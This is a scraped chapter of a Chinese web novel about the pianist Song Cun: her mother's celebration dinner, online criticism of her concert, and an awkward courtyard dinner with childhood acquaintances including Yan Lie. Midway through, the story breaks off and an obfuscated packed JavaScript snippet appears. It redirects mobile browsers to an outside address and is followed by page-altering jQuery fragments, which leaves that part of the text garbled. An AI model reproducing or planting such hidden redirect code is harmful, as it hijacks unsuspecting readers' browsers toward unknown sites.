15. 第 15 章

作品:《落下一拍

    章女士给她准备了庆功宴,就在家里。


    宋仁杰在外出差,今天还是两个人吃饭。她进门时,看见老妈扶了扶老花眼镜,坐在窗台边看手机。


    这些年老妈富态了点,肩背上最是明显。


    几案上的绿云,色泽深厚,叶姿协立,萼片宽阔,被养护地极好,只是要闻到兰花香,得等到明年早春去了。


    老妈的名字是章舒窈,“舒窈纠兮,劳心悄兮”。在宋存心里,老妈一定是能担当这两个字的。


    其实她年少时也为她惋惜过,嫁给爸爸以后,她就成了宋夫人,一心向夫教女,失去了自己的生活。


    她走到她身后,也没能惊扰她,只好轻轻拍了下她的背,吓得老妈慌不择路地藏手机,藏也没藏住。她看到了,她在看论坛,还是她发给她的。


    上面都是些关于古典乐的讨论。老妈应该在看大家对她昨晚的反响。


    宋存咬了下自己的下唇,装作不知。


    “不去做饭,躲闲呢?”她打趣道。


    “这不是以为你又得中午到吗?”章女士转身去厨房和仲姨一起忙活儿。


    换她坐在摇椅上,拿出手机看刚刚的评论。最高的那座楼,有上千条评论,印象中从没有哪场演奏会这么高热度。


    果然是好事不出门,坏事传千里。


    手指在屏幕上顿了顿,忐忑着往下。


    这里的乐迷相对专业,都在围绕她昨晚的失误展开争论,尤其是那首舒伯特的奏鸣曲,热度最高。


    舒伯特介于庄重和轻灵的曲风,算是她比较擅长的,国内的很多观众认可她,也是从舒伯特开始。


    而她昨晚的表现,的确只是中规中矩,无论有多少干扰,她的不专注带给了乐迷们不好的体验,这一点,无可反驳。


    宋存看完了所有的评论,内心隐隐有点沮丧。


    “送送。”章舒窈叫她,“先过来喝汤。”


    “好勒。”她收了手机,快速起身。


    饭桌上,老妈没说两句,又绕到了老爸那里,说他最近太忙了,连齐琛的婚礼都没去。齐琛是齐爷爷的小儿子,四十多岁才得的,宝贝得不行。


    宋存不是很明白这其中的厉害关系,还以为是老妈不愿意独自去。


    “您怎么不告诉我,我陪您一起去啊。”


    “一群中老年人,你和他们也没什么话说。”章女士对自己的女儿还是有些了解的,她和那个圈子里的年轻人来往少,况且她爸不让她去,自有他的道理。


    “也有年轻人嘛。”宋存笑了笑,她又不是去交朋友的,还讲究个同龄。


    “是有一些,我想想哦,闻家的那个大儿子和小女儿,你还记得吧,爷爷奶奶也住在院子里的。”


    “记得啊。”闻帛晟和闻帛笑,她对闻帛晟印象更深一下,算是院子里的小孩王,不仅仅是年长几岁,是真的非常有大哥的样子。


    “还有那个言家的小孩,住了一年多搬走的那个,没想到长这么大了,打小就挺帅的,现在也没变样。”章女士言语道。“看起来和闻家兄妹的感情挺好。”


    “哪个言家啊?”宋存差点没夹上菜。


    “还有哪个言家。”章女士笑呵呵看她一眼,当然是风头正旺的那个啊,她这女儿真是两耳不闻窗外事。难得的是,那天言夫人也去了,好多小女孩过去亲昵。有这么个儿子,也是骄傲吧。


    “哦,哦。”宋存掩饰了两句,完全是多此一问。


    “说是要和闻家的妹妹结亲,也不知道是真是假。”


    宋存又夹掉了一块肉,原来已经有新欢了啊。


    她更敷衍地“哦”了一声。这也不稀奇,言列一打进了大院,就受到不少女孩的欢迎,找他问个作业都得排队。


    白放就经常在她面前嘚瑟,说他在他列哥那多受优待,为了给他补课,把多少女孩子拒之门外。宋存当场就杵了他一句,“那你记得以身相许。”


    吃完饭,她收到了韦敏的电话。还以为是想着安慰她两句,对方却一本正经地告诉她,有公司之外的人在帮着他们压舆论,还有“天南”的助理接受了电话采访,说这位作家打小也喜欢钢琴,纯纯只是部作品而已。


    至于小说女主角的形象,那完全是作家的个人风格释然。这无疑是利好她的消息。韦敏试探着问她知不知道是谁帮的忙,宋存诚实回答不知道。


    挂了电话,脑子里一闪而过那个哀怨的背影。


    这是干嘛啊。她是那种给颗糖就能哄好的小孩吗?“哄”这个字,让她在不算冷的天气里,起了一层鸡皮疙瘩。


    公司给她接了一部电影的配乐录制,里面钢琴的部分由她演奏。那部戏的音乐总监和导演都在京市,下午正好有时间探讨一些细节。


    沟通结束后,已经差不多七点。立秋以后,老天爷嫌大家还不够愁,落下几场绵雨,好巧不巧地,她走出酒店大厅,才发现小雨转大雨,门口的伞架都空了。


    正当犹豫时,电话响起来。


    “送送,回头!”


    她听着指令转身,看见二楼白玉雕花栏杆前,一抹靓丽的身影朝着她热情地招手。


    “白棠姐。”她大声回应。


    与此同时,另一个倨傲的身影,沿着对侧的阶梯,和她走向同一个目的地。


    最先反应过来两人即将见面的是白放。他回了个电话,从电梯出来的时间晚了些,正好看到两人一左一右,相向而来。


    脑袋里警钟一响,像是在计时器下剪线,左瞅瞅右看看,眼睛都不知道放哪里,就差举着快板子,喊一声“卡”。


    宋存快了一步,抢在前面开了口,对着另外两人,“白棠姐、帛晟哥。”很默契地与对面那人共同噤了声。


    尽管她的内心里有两个声音在打架。一个是小时候走亲戚时,老妈提醒她的“叫人啊”,另一个是她的倔强,“我就是不叫”。


    “哟、呀、哇。”白放快步赶了上来,站在了两人中间。接连几个语助词,显示着他是这里头最慌乱的。


    “你唧唧哇哇的什么,人也不会叫。”白棠看着没头没脑的弟弟,只当他是太激动了,语无伦次。


    “我.....我。”白放被怼得一时之间说不出话。


    “还没吃饭吧,居然在这里遇到你了。”白棠说。上次见她,还是一年前她到香港去演出。


    闻帛晟看了白棠一眼,刚刚邀请她一起吃饭,可是被拒绝的。看来还是自己份量不够。


    还没等宋存回答,就有人先着急了。


    闻帛晟一锤定音:“那就一起吧,正好阿列也在。”说完给他递了个眼神。


    宋存看出他想拒绝的眼神,鬼使神差地点了头,“好。”可能是韦姐的那个电话,又动摇了她的心智。


    不坚定啊,宋存!


    目睹一切的白放,一直到上车,嘴都没合上。是宋存转性了?还是他失忆了?印象中,两个人是王不见王的。


    另一个车上的言列,手肘撑在窗沿上,微眯着眼,看着前方的红灯。他也在想这个问题。


    上次让他滚的人,这次居然这么爽快,而且没有半点不情愿的脸色。这又是唱的哪一出戏。


    这幅掩饰的淡定,看得旁边的闻帛晟想笑,拍了下他的肩,“你就当帮哥一个忙,应酬应酬。”


    “啊?”言列皱眉,和宋存一起吃饭,帮他什么忙了?


    “再难都忍忍吧。一顿饭的时间,你就当工作餐。”他知道为难他了。但他要说不去,这饭局就得散。


    两辆车先后开进了一家胡同深处的四合院。


    “笙姐,好久不见。”白放一下车就对着屋檐下的身影招手。


    “诶,等你们呢。”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15597780|171911||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    宋存低着头,从后座探身,顺着他的声音望过去,女人穿一身月白色的暗纹旗袍,犹如一尊胎质细腻的瓷釉瓶静立,精致优雅得不扎眼。


    靠近时,才发现她脸上清浅的笑,像清晨时分的露珠。


    青灰相间的砖墙上,泛着雨后的氤氲。光影绰绰,她看不清她的神情,也知道她一直在看着自己。


    直到车上又下来一个人,才互相移开了视线。传来一声更真切的“白棠姐。”声音和人对号入座,宋存想到东欧音乐中的手风琴,悠扬中不失热情。


    经过她身边时,相互微微点了一下头,留身后熟识的两人寒暄。看来就她一个人,是第一次来。


    中国有一句古话,“向阳门第春先到。”他们进入了最好的北房。


    “送送。”白棠姐叫住了她。


    “给你介绍一下,这里的老板,秦笙。”


    “宋小姐您好,久仰大名。”她还来不及伸手,对方就应了上来。


    “你好,秦老板。”礼节性地一握。


    “你还别不信。”白棠见她有点放不开,笑着拉进两人的距离,“久仰你大名的很多,就是很难见到。”


    “是啊是啊。”秦笙应和,确实是这样的。


    宋存勾了下嘴角,看向秦笙含笑的眉眼,她的眼睛里有热情。


    “谢谢,很荣幸。”


    身后竖着两只耳朵的白放,听见这番谦辞,啧啧两声,不赞成地摇了摇头,这话要是他说的,对方肯定会嘚瑟道“你确实该仰一下”。


    这幅表情被白棠逮了个正着。“你都多大了,还躲人送送后面。叫人了没。”


    “姐...我,”白放猝不及防被cue到,“叫了笙姐的。”


    “还有呢?”


    白放不情愿地看了一眼不动声色,看他笑话的宋存。她也没叫他啊。


    “宋小姐。”


    白棠:“?”


    “她上次叫我白先生的。”


    “那是她尊重你。”


    ......


    白放不服气地学着柳桉的样子,再叫了一句,“存儿。”


    宋存:“?”


    三个人齐齐看向他。


    “宋姐、宋姐、宋姐,行了吧。”气急败坏地,白放端了刚上来的茶就往嘴里送。


    “小心烫啊。”秦笙提醒他。


    白棠:“什么宋姐,你给人叫老了。”


    “本来也比我大啊。”


    白棠被她气笑,“送送,你别和他计较,就这德性,你知道的。”


    “没事。”宋存大度道,看他一眼,“反正叫什么都是弟弟。”


    ......


    宋存克制着一笑,正对他吃瘪的表情。


    真正看热闹的秦笙死劲抿着唇,怕笑出声。早就听说有这么个人能把巧舌如簧的白少爷制得服服帖帖的,今天算是真的见着了。


    “帛昇哥、列哥。你们终于来了。”看见走进来的两人,白放如临大赦,几乎是蹦过去的。


    秦笙笑着向两人打了个招呼,主动退出,“我去后厨看看,你们喝会儿茶。”


    闻帛昇走在前面,进门时,顺势将手中燃烧未过半的烟,掐灭在陶瓷烟灰缸里。身上剪裁得体的衬衫,勾勒出他沉静的气场。


    第一眼,他看向了白棠。对方只是礼貌地笑了笑,好像完全没把爽约又应约的前后不一,当回事儿。


    走在身后的言列个子还高一点,气场却不如他,是偏英挺的少年气,眉如墨画,还


    未完全晕染开。


    本来也还差个几岁,宋存想。但又明白地感觉得到,到底是和小时候不同了,小时候总觉得自己是盖过他的。


    可能今天她心里有愧吧,不够理直气壮。


    在他经过时,不自觉僵硬着后背,后撤了半个身位。